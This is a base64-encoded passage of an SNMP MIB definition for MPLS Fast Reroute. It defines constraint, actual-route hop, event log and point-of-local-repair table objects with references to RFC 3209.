aW8gICAgICAgVW5zaWduZWQzMiwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RJbmNsQW55QWZmaW5p
dHkgICBNcGxzVHVubmVsQWZmaW5pdHksDQogICAgICAgICAgbXBsc0ZyckNvbnN0SW5jbEFsbEFm
ZmluaXR5ICAgTXBsc1R1bm5lbEFmZmluaXR5LA0KICAgICAgICAgIG1wbHNGcnJDb25zdEV4Y2xB
bnlBZmZpbml0eSAgIE1wbHNUdW5uZWxBZmZpbml0eSwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RI
b3BMaW1pdCAgICAgICAgICBVbnNpZ25lZDMyLA0KICAgICAgICAgIG1wbHNGcnJDb25zdEJhbmR3
aWR0aCAgICAgICAgIEludGVnZXIzMiwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RSb3dTdGF0dXMg
ICAgICAgICBSb3dTdGF0dXMNCiAgICB9DQoNCiAgICBtcGxzRnJyQ29uc3RJZkluZGV4ICBPQkpF
Q1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW50ZXJmYWNlSW5kZXhPclplcm8NCiAgICAg
ICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJy
ZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVzIGFu
IGludGVyZmFjZSBmb3Igd2hpY2ggZmFzdCByZXJvdXRlIGlzDQogICAgICAgICBjb25maWd1cmVk
LiBUYWJ1bGFyIGVudHJpZXMgaW5kZXhlZCB3aXRoIGEgMCB2YWx1ZSBhcHBseSB0byBhbGwNCiAg
ICAgICAgIGludGVyZmFjZXMgb24gdGhpcyBkZXZpY2UgZm9yIHdoaWNoIHRoZSBGUlIgZmVhdHVy
ZSBjYW4gb3BlcmF0ZQ0KICAgICAgICAgb24uIg0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVu
dHJ5IDEgfQ0KDQogICAgbXBsc0ZyckNvbnN0VHVubmVsSW5kZXggT0JKRUNULVRZUEUNCiAgICAg
ICBTWU5UQVggICAgICAgIE1wbHNUdW5uZWxJbmRleA0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90
LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQ
VElPTg0KICAgICAgICAgIlVuaXF1ZWx5IGlkZW50aWZpZXMgYSB0dW5uZWwgZm9yIHdoaWNoIGZh
c3QgcmVyb3V0ZSBpcw0KICAgICAgICAgIHJlcXVlc3RlZC4iDQogICAgICAgOjo9IHsgbXBsc0Zy
ckNvbnN0RW50cnkgMiB9DQoNCiAgICBtcGxzRnJyQ29uc3RUdW5uZWxJbnN0YW5jZSBPQkpFQ1Qt
VFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgNCiAgICAg
ICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJy
ZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVzIGFu
IGluc3RhbmNlIG9mIHRoaXMgdHVubmVsIGZvciB3aGljaCBmYXN0DQogICAgICAgICAgcmVyb3V0
ZSBpcyByZXF1ZXN0ZWQuDQoNCiAgICAgICAgIC0gbG93ZXIgMTYgYml0cyA6IHByb3RlY3RlZCB0
dW5uZWwgaW5zdGFuY2UNCiAgICAgICAgIC0gaGlnaGVyIDE2IGJpdHM6IG11c3QgYmUgYWxsIHpl
cm9zIg0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDMgfQ0KDQogICAgbXBsc0ZyckNv
bnN0UHJvdGVjdGlvblR5cGUgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIElOVEVH
RVIgeyBub25lKDApLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmtQcm90ZWN0
aW9uKDEpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5vZGVQcm90ZWN0aW9uKDIp
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICBNQVgtQUNDRVNTICAgIHJl
YWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICJJbmRpY2F0ZXMgdHlwZSBvZiB0aGUgcmVzb3VyY2UgcHJvdGVjdGlvbi4i
DQogICAgICAgREVGVkFMIHsgbm9kZVByb3RlY3Rpb24gfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJD
b25zdEVudHJ5IDQgfQ0KDQogICAgbXBsc0ZyckNvbnN0U2V0dXBQcmlvIE9CSkVDVC1UWVBFDQog
ICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyICgwLi43KQ0KICAgICAgIE1BWC1BQ0NFU1Mg
ICAgcmVhZC1jcmVhdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVND
UklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgc2V0dXAgcHJpb3JpdHkgb2YgZGV0b3Vy
IExTUC4iDQogICAgICAgUkVGRVJFTkNFDQogICAgICAgICAiMS4gUlNWUC1URTogRXh0ZW5zaW9u
cyB0byBSU1ZQIGZvciBMU1AgVHVubmVscywgQXdkdWNoZSBldCBhbCwNCiAgICAgICAgICBSRkMg
MzIwOSwgRGVjZW1iZXIgMjAwMSINCiAgICAgICBERUZWQUwgeyA3IH0NCiAgICAgICA6Oj0geyBt
cGxzRnJyQ29uc3RFbnRyeSA1IH0NCg0KICAgIG1wbHNGcnJDb25zdEhvbGRpbmdQcmlvIE9CSkVD
VC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyICgwLi43KQ0KICAgICAgIE1B
WC1BQ0NFU1MgICAgcmVhZC1jcmVhdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgaG9sZGluZyBwcmlvcml0
eSBmb3IgZGV0b3VyIExTUC4iDQogICAgICAgUkVGRVJFTkNFDQogICAgICAgICAiMS4gUlNWUC1U
RTogRXh0ZW5zaW9ucyB0byBSU1ZQIGZvciBMU1AgVHVubmVscywgQXdkdWNoZSBldCBhbCwNCiAg
ICAgICAgICBSRkMgMzIwOSwgRGVjZW1iZXIgMjAwMSINCiAgICAgICBERUZWQUwgeyAwIH0NCiAg
ICAgICA6Oj0geyBtcGxzRnJyQ29uc3RFbnRyeSA2IH0NCg0KICAgIG1wbHNGcnJDb25zdEluY2xB
bnlBZmZpbml0eSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEFm
ZmluaXR5DQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAg
ICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiQSBsaW5rIHNhdGlz
ZmllcyB0aGUgaW5jbHVkZS1hbnkgY29uc3RyYWludCBpZiBhbmQgb25seSBpZiB0aGUNCiAgICAg
ICAgICBjb25zdHJhaW50IGlzIHplcm8sIG9yIHRoZSBsaW5rIGFuZCB0aGUgY29uc3RyYWludCBo
YXZlIGENCiAgICAgICAgICByZXNvdXJjZSBjbGFzcyBpbiBjb21tb24uIg0KICAgICAgIFJFRkVS
RU5DRQ0KICAgICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMgdG8gUlNWUCBmb3IgTFNQIFR1
bm5lbHMsIEF3ZHVjaGUgZXQgYWwsDQogICAgICAgICAgUkZDIDMyMDksIERlY2VtYmVyIDIwMDEu
Ig0KICAgICAgIERFRlZBTCB7IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDcg
fQ0KDQogICAgbXBsc0ZyckNvbnN0SW5jbEFsbEFmZmluaXR5IE9CSkVDVC1UWVBFDQogICAgICAg
U1lOVEFYICAgICAgICBNcGxzVHVubmVsQWZmaW5pdHkNCiAgICAgICBNQVgtQUNDRVNTICAgIHJl
YWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICJBIGxpbmsgc2F0aXNmaWVzIHRoZSBpbmNsdWRlLWFsbCBjb25zdHJhaW50
IGlmIGFuZCBvbmx5IGlmIHRoZQ0KICAgICAgICAgIGxpbmsgY29udGFpbnMgYWxsIG9mIHRoZSBh
ZG1pbmlzdHJhdGl2ZSBncm91cHMgc3BlY2lmaWVkIGluIHRoZQ0KICAgICAgICAgIGNvbnN0cmFp
bnQuIg0KICAgICAgIFJFRkVSRU5DRQ0KICAgICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMg
dG8gUlNWUCBmb3IgTFNQIFR1bm5lbHMsIEF3ZHVjaGUgZXQgYWwsDQogICAgICAgICAgUkZDIDMy
MDksIERlY2VtYmVyIDIwMDEuIg0KICAgICAgIERFRlZBTCB7IDAgfQ0KICAgICAgIDo6PSB7IG1w
bHNGcnJDb25zdEVudHJ5IDggfQ0KDQogICAgbXBsc0ZyckNvbnN0RXhjbEFueUFmZmluaXR5IE9C
SkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzVHVubmVsQWZmaW5pdHkNCiAgICAg
ICBNQVgtQUNDRVNTICAgIHJlYWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50
DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJBIGxpbmsgc2F0aXNmaWVzIHRoZSBleGNs
dWRlLWFsbCBjb25zdHJhaW50IGlmIGFuZCBvbmx5IGlmIHRoZQ0KICAgICAgICAgIGxpbmsgY29u
dGFpbnMgbm9uZSBvZiB0aGUgYWRtaW5pc3RyYXRpdmUgZ3JvdXBzIHNwZWNpZmllZCBpbiB0aGUN
CiAgICAgICAgICBjb25zdHJhaW50LiINCiAgICAgICBSRUZFUkVOQ0UNCiAgICAgICAgICIxLiBS
U1ZQLVRFOiBFeHRlbnNpb25zIHRvIFJTVlAgZm9yIExTUCBUdW5uZWxzLCBBd2R1Y2hlIGV0IGFs
LA0KICAgICAgICAgIFJGQyAzMjA5LCBEZWNlbWJlciAyMDAxLiINCiAgICAgICBERUZWQUwgeyAw
IH0NCiAgICAgICA6Oj0geyBtcGxzRnJyQ29uc3RFbnRyeSA5IH0NCg0KICAgIG1wbHNGcnJDb25z
dEhvcExpbWl0IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyICgx
Li4yNTUpDQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAg
ICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhlIG1heGltdW0g
bnVtYmVyIG9mIGhvcHMgdGhhdCB0aGUgZGV0b3VyIExTUCBtYXkgdHJhdmVyc2UuIg0KICAgICAg
IFJFRkVSRU5DRQ0KICAgICAgICAgIlBhbiwgUC4sIEdhbiwgRC4sIFN3YWxsb3csIEcuLCBWYXNz
ZXVyLCBKLlBoLiwgQ29vcGVyLCBELiwNCiAgICAgICAgIEF0bGFzLCBBLiwgSm9yaywgTS4sIEZh
c3QgUmVyb3V0ZSBUZWNobmlxdWVzIGluIFJTVlAtVEUsIGRyYWZ0LQ0KICAgICAgICAgaWV0Zi1t
cGxzLXJzdnAtbHNwLWZhc3RyZXJvdXRlLTAwLnR4dCwgSmFudWFyeSAyMDAyLiBXb3JrIGluDQog
ICAgICAgICBwcm9ncmVzcy4iDQogICAgICAgREVGVkFMIHsgMzIgfQ0KICAgIDo6PSB7IG1wbHNG
cnJDb25zdEVudHJ5IDEwIH0NCg0KICAgIG1wbHNGcnJDb25zdEJhbmR3aWR0aCBPQkpFQ1QtVFlQ
RQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW50ZWdlcjMyDQogICAgICAgTUFYLUFDQ0VTUyAgICBy
ZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBU
SU9ODQogICAgICAgICAiVGhpcyB2YXJpYWJsZSByZXByZXNlbnRzIHRoZSBiYW5kd2lkdGggZm9y
IGRldG91ciBMU1BzIG9mIHRoaXMNCiAgICAgICAgIHR1bm5lbCwgaW4gdW5pdHMgb2YgdGhvdXNh
bmRzIG9mIGJpdHMgcGVyIHNlY29uZCAoS2JwcykuIg0KICAgICAgIERFRlZBTCB7IDAgfQ0KICAg
ICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDExIH0NCg0KICAgIG1wbHNGcnJDb25zdFJvd1N0
YXR1cyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgUm93U3RhdHVzDQogICAgICAg
TUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBvYmplY3QgaXMgdXNlZCB0byBjcmVh
dGUsIG1vZGlmeSwgYW5kL29yIGRlbGV0ZSBhIHJvdyBpbg0KICAgICAgICAgIHRoaXMgdGFibGUu
Ig0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDEyIH0NCg0KICAgIC0tIE1QTFMgRmFz
dCBSZXJvdXRlIFR1bm5lbCBBY3R1YWwgUm91dGUgSG9wIHRhYmxlDQoNCiAgICBtcGxzRnJyVHVu
QVJIb3BUYWJsZSAgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgICAgICAgU0VRVUVO
Q0UgT0YgTXBsc0ZyclR1bkFSSG9wRW50cnkNCiAgICAgICBNQVgtQUNDRVNTICAgICAgICAgbm90
LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgICAgICAgY3VycmVudA0KICAgICAgIERF
U0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB0YWJsZSBleHRlbmRzIG1wbHNUdW5uZWxBUkhvcCB0
YWJsZSBkZWZpbmVkIGluIHRoZQ0KICAgICAgICAgIE1QTFMtVEUgTUlCIHdpdGggZmFzdC1yZXJv
dXRlIG9iamVjdHMgd2hpY2ggc3BlY2lmaWVzIHRoZSBzdGF0dXMNCiAgICAgICAgICBvZiBsb2Nh
bCBwcm90ZWN0aW9uIChhdmFpbGFiaWxpdHkgYW5kIGluLXVzZSkgcGVyIGhvcCB0cmF2ZXJzZWQN
CiAgICAgICAgICBieSBhIHByb3RlY3RlZCB0dW5uZWwuIg0KICAgICAgIDo6PSB7ICBtcGxzRnJy
R2VuZXJhbE9iamVjdHMgMiB9DQoNCiAgICBtcGxzRnJyVHVuQVJIb3BFbnRyeSAgT0JKRUNULVRZ
UEUNCiAgICAgICBTWU5UQVggICAgICAgICAgICAgTXBsc0ZyclR1bkFSSG9wRW50cnkNCiAgICAg
ICBNQVgtQUNDRVNTICAgICAgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAg
ICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBlbnRyeSBj
b250YWlucyBmYXN0LXJlcm91dGUgcHJvdGVjdGlvbiBzdGF0dXMgb2YgYSBzaWdubGUNCiAgICAg
ICAgICBwcm90ZWN0ZWQgdHVubmVsIGhvcC4iDQogICAgICAgQVVHTUVOVFMgeyBtcGxzVHVubmVs
QVJIb3BFbnRyeSB9DQogICAgICAgOjo9IHsgbXBsc0ZyclR1bkFSSG9wVGFibGUgMSB9DQoNCiAg
ICBtcGxzRnJyVHVubkFSSG9wRW50cnkgICAgOjo9IFNFUVVFTkNFIHsNCiAgICAgICAgbXBsc0Zy
clR1bkFSSG9wUHJvdGVjdEF2YWlsYWJsZSBUcnV0aFZhbHVlLA0KICAgICAgICBtcGxzRnJyVHVu
QVJIb3BQcm90ZWN0SW5Vc2UgICAgIFRydXRoVmFsdWUsDQogICAgICAgIG1wbHNGcnJUdW5BUkhv
cEJhbmR3aWR0aFByb3RlY3QgVHJ1dGhWYWx1ZSwNCiAgICAgICAgbXBsc0ZyclR1bkFSSG9wTm9k
ZVByb3RlY3QgICAgICBUcnV0aFZhbHVlDQogICAgfQ0KDQogICAgbXBsc0ZyclR1bkFSSG9wUHJv
dGVjdEF2YWlsYWJsZSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgICAgICAgICAg
ICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgICAgICAgICAgICAgICAgcmVh
ZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICAgICAgICAgICAgICAgICBjdXJyZW50DQogICAg
ICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGlzIG9iamVjdCBpbmRpY2F0ZXMgd2hldGhlciBs
b2NhbCBwcm90ZWN0aW9uIHByb3ZpZGVkDQogICAgICAgICAgYnkgZmFzdC1yZXJvdXRlIGlzIGF2
YWlsYWJsZSBhdCB0aGlzIGhvcC4iDQogICAgICAgOjo9IHsgbXBsc0ZyclR1bkFySG9wRW50cnkg
MSB9DQoNCiAgICBtcGxzRnJyVHVuQVJIb3BQcm90ZWN0SW5Vc2UgICAgIE9CSkVDVC1UWVBFDQog
ICAgICAgU1lOVEFYICAgICAgICAgICAgICAgICAgICAgICBUcnV0aFZhbHVlDQogICAgICAgTUFY
LUFDQ0VTUyAgICAgICAgICAgICAgICAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAg
ICAgICAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlRo
aXMgb2JqZWN0IGluZGljYXRlcyB3aGV0aGVyIGxvY2FsIHByb3RlY3Rpb24gcHJvdmlkZWQNCiAg
ICAgICAgICBieSBmYXN0LXJlcm91dGUgaXMgaW4gdXNlIGF0IHRoaXMgaG9wLiINCiAgICAgICA6
Oj0geyBtcGxzRnJyVHVuQVJIb3BFbnRyeSAyIH0NCg0KICAgIG1wbHNGcnJUdW5BUkhvcEJhbmR3
aWR0aFByb3RlY3QgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgICAgICAgICAgICAg
ICAgIFRydXRoVmFsdWUNCiAgICAgICBNQVgtQUNDRVNTICAgICAgICAgICAgICAgICAgIHJlYWQt
b25seQ0KICAgICAgIFNUQVRVUyAgICAgICAgICAgICAgICAgICAgICAgY3VycmVudA0KICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBvYmplY3QgaW5kaWNhdGVzIHdoZXRoZXIgYmFu
ZHdpZHRoIHByb3RlY3Rpb24gDQogICAgICAgICAgaXMgcHJvdmlkZWQgYnkgdGhpcyBob3AuIg0K
ICAgICAgIDo6PSB7IG1wbHNGcnJUdW5BckhvcEVudHJ5IDMgfQ0KDQogICAgbXBsc0ZyclR1bkFS
SG9wTm9kZVByb3RlY3QgICAgICBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgICAg
ICAgICAgICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgICAgICAgICAgICAg
ICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICAgICAgICAgICAgICAgICBjdXJyZW50
DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGlzIG9iamVjdCBpbmRpY2F0ZXMgd2hl
dGhlciBub2RlIHByb3RlY3Rpb24NCiAgICAgICAgICBpcyBwcm92aWRlZCBieSB0aGlzIGhvcC4i
DQogICAgICAgOjo9IHsgbXBsc0ZyclR1bkFySG9wRW50cnkgNCB9DQoNCiAgICAtLSBGYXN0IFJl
cm91dGUgTG9nIFRhYmxlDQoNCiAgICBtcGxzRnJyTG9nVGFibGUgT0JKRUNULVRZUEUNCiAgICAg
ICAgU1lOVEFYICAgICAgICAgICAgU0VRVUVOQ0UgT0YgTXBsc0ZyckxvZ0VudHJ5DQogICAgICAg
IE1BWC1BQ0NFU1MgICAgICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgIFNUQVRVUyAgICAgICAg
ICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgICJUaGUgZmFzdCBy
ZXJvdXRlIGxvZyB0YWJsZSByZWNvcmRzIGZhc3QgcmVyb3V0ZSBldmVudHMgc3VjaA0KICAgICAg
ICAgICAgIGFzIHByb3RlY3RlZCBsaW5rcyBnb2luZyB1cCBvciBkb3duIG9yIHRoZSBGUlIgZmVh
dHVyZQ0KICAgICAgICAgICAgIGtpY2tpbmcgaW4uIg0KICAgIDo6PSB7IG1wbHNGcnJHZW5lcmFs
T2JqZWN0cyAyIH0NCg0KICAgIG1wbHNGcnJMb2dFbnRyeSBPQkpFQ1QtVFlQRQ0KICAgICAgICBT
WU5UQVggICAgICAgICAgICBNcGxzRnJyTG9nRW50cnkNCiAgICAgICAgTUFYLUFDQ0VTUyAgICAg
ICAgbm90LWFjY2Vzc2libGUNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAgY3VycmVudA0KICAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAgIkFuIGVudHJ5IGluIHRoaXMgdGFibGUgaXMg
Y3JlYXRlZCB0byBkZXNjcmliZSBvbmUgZmFzdA0KICAgICAgICAgICAgIHJlcm91dGUgZXZlbnQu
ICBFbnRyaWVzIGluIHRoaXMgdGFibGUgYXJlIG9ubHkgY3JlYXRlZCBhbmQNCiAgICAgICAgICAg
ICBkZXN0cm95ZWQgYnkgdGhlIGFnZW50IGltcGxlbWVudGF0aW9uLiBUaGUgbWF4aW11bSBudW1i
ZXINCiAgICAgICAgICAgICBvZiBlbnRyaWVzIGluIHRoaXMgbG9nIGlzIGdvdmVybmVkIGJ5IHRo
ZSBzY2FsYXIuIg0KICAgICAgICBJTkRFWCB7IG1wbHNGcnJMb2dJbmRleCB9DQogICAgOjo9IHsg
bXBsc0ZyckxvZ1RhYmxlIDEgfQ0KDQogICAgTXBsc0ZyckxvZ0VudHJ5IDo6PSBTRVFVRU5DRSB7
DQogICAgICAgIG1wbHNGcnJMb2dJbmRleCAgICAgICAgICAgICAgICBVbnNpZ25lZDMyLA0KICAg
ICAgICBtcGxzRnJyTG9nRXZlbnRUaW1lICAgICAgICAgICAgVGltZVN0YW1wLA0KICAgICAgICBt
cGxzRnJyTG9nSW50ZXJmYWNlICAgICAgICAgICAgSW50ZXJmYWNlSW5kZXhPclplcm8sDQogICAg
ICAgIG1wbHNGcnJMb2dFdmVudFR5cGUgICAgICAgICAgICBJTlRFR0VSLA0KICAgICAgICBtcGxz
RnJyTG9nRXZlbnREdXJhdGlvbiAgICAgICAgVGltZVRpY2tzLA0KICAgICAgICBtcGxzRnJyTG9n
RXZlbnRSZWFzb25TdHJpbmcgICAgT0NURVQgU1RSSU5HDQogICAgfQ0KDQogICAgbXBsc0Zyckxv
Z0luZGV4IE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIFVuc2lnbmVkMzIN
CiAgICAgICAgTUFYLUFDQ0VTUyAgICAgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICAgU1RBVFVT
ICAgICAgICAgICAgY3VycmVudA0KICAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAgIlVu
aXF1ZWx5IGlkZW50aWZpZXMgYSBmYXN0IHJlcm91dGUgZXZlbnQgZW50cnkuIg0KICAgIDo6PSB7
IG1wbHNGcnJMb2dFbnRyeSAxIH0NCg0KICAgIG1wbHNGcnJMb2dFdmVudFRpbWUgT0JKRUNULVRZ
UEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgVGltZVN0YW1wDQogICAgICAgIE1BWC1BQ0NF
U1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQog
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiVGhpcyBvYmplY3QgcHJvdmlkZXMgdGhl
IGFtb3VudCBvZiB0aW1lIHRpY2tzIHNpbmNlIHRoaXMNCiAgICAgICAgICAgICBldmVudCBvY2N1
cmVkLiINCiAgICA6Oj0geyBtcGxzRnJyTG9nRW50cnkgMiB9DQoNCiAgICBtcGxzRnJyTG9nSW50
ZXJmYWNlIE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIEludGVyZmFjZUlu
ZGV4T3JaZXJvDQogICAgICAgIE1BWC1BQ0NFU1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBT
VEFUVVMgICAgICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAg
ICAiVGhpcyBvYmplY3QgaW5kaWNhdGVzIHdoaWNoIGludGVyZmFjZSB3YXMgYWZmZWN0ZWQgYnkg
dGhpcw0KICAgICAgICAgICAgIEZSUiBldmVudC4gVGhpcyB2YWx1ZSBtYXkgYmUgc2V0IHRvIDAg
aWYNCiAgICAgICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uTWV0aG9kIGlzIHNldCB0byBv
bmVUb09uZUJhY2t1cCgwKS4iDQogICAgOjo9IHsgbXBsc0ZyckxvZ0VudHJ5IDMgfQ0KDQogICAg
bXBsc0ZyckxvZ0V2ZW50VHlwZSBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgSU5URUdF
UiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICBvdGhlcigxKSwNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgIHByb3RlY3RlZCgyKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgIE1BWC1BQ0NFU1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAg
ICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiVGhpcyBvYmpl
Y3QgZGVzY3JpYmVzIHdoYXQgdHlwZSBvZiBmYXN0IHJlcm91dGUgZXZlbnQNCiAgICAgICAgICAg
ICBvY2N1cmVkLiINCiAgICA6Oj0geyBtcGxzRnJyTG9nRW50cnkgNCB9DQoNCiAgICBtcGxzRnJy
TG9nRXZlbnREdXJhdGlvbiBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgICAgICAgICBU
aW1lVGlja3MNCiAgICAgICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC1vbmx5DQogICAgICAgIFNU
QVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAg
ICJUaGlzIG9iamVjdCBkZXNjcmliZXMgdGhlIGR1cmF0aW9uIG9mIHRoaXMgZXZlbnQuIg0KICAg
IDo6PSB7IG1wbHNGcnJMb2dFbnRyeSA1IH0NCg0KICAgIG1wbHNGcnJMb2dFdmVudFJlYXNvblN0
cmluZyBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgICAgICAgICBPQ1RFVCBTVFJJTkcg
KFNJWkUoMTI4KSkNCiAgICAgICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC1vbmx5DQogICAgICAg
IFNUQVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAg
ICAgICJUaGlzIG9iamVjdCBjb250YWlucyBhbiBpbXBsZW1lbnRhdGlvbi1zcGVjaWZpYyBleHBs
YW5hdGlvbg0KICAgICAgICAgICAgb2YgdGhlIGV2ZW50LiINCiAgICA6Oj0geyBtcGxzRnJyTG9n
RW50cnkgNiB9DQoNCg0KICAgIC0tDQogICAgLS0gT25lLXRvLU9uZSBTcGVjaWZpYyBUYWJsZXMN
CiAgICAtLQ0KICAgIC0tIFRhYmxlcyBpbiB0aGlzIHNlY3Rpb24gcGVydGFpbiBvbmx5IHRvIHRo
ZSAxLTENCiAgICAtLSBzdHlsZSBvZiBGUlIuDQogICAgLS0NCg0KDQogICAgLS0gTVBMUyBGYXN0
IFJlcm91dGUgUG9pbnQgb2YgTG9jYWwgUmVwYWlyIHRhYmxlDQoNCiAgICBtcGxzRnJyT25lMk9u
ZVBsclRhYmxlICBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgU0VRVUVOQ0UgT0Yg
TXBsc0Zyck9uZTJPbmVQbHJFbnRyeQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2li
bGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAg
ICAgICAgIlRoaXMgdGFibGUgc2hvd3MgdGhlIGxpc3RzIG9mIFBMUnMgdGhhdCBpbml0aWF0ZWQg
ZGV0b3VyIExTUHMNCiAgICAgICAgIHdoaWNoIGFmZmVjdCB0aGlzIG5vZGUuIg0KICAgICAgIDo6
PSB7IG1wbHNGcnIxdG8xT2JqZWN0cyAxIH0NCg0KICAgIG1wbHNGcnJPbmUyT25lUGxyRW50cnkg
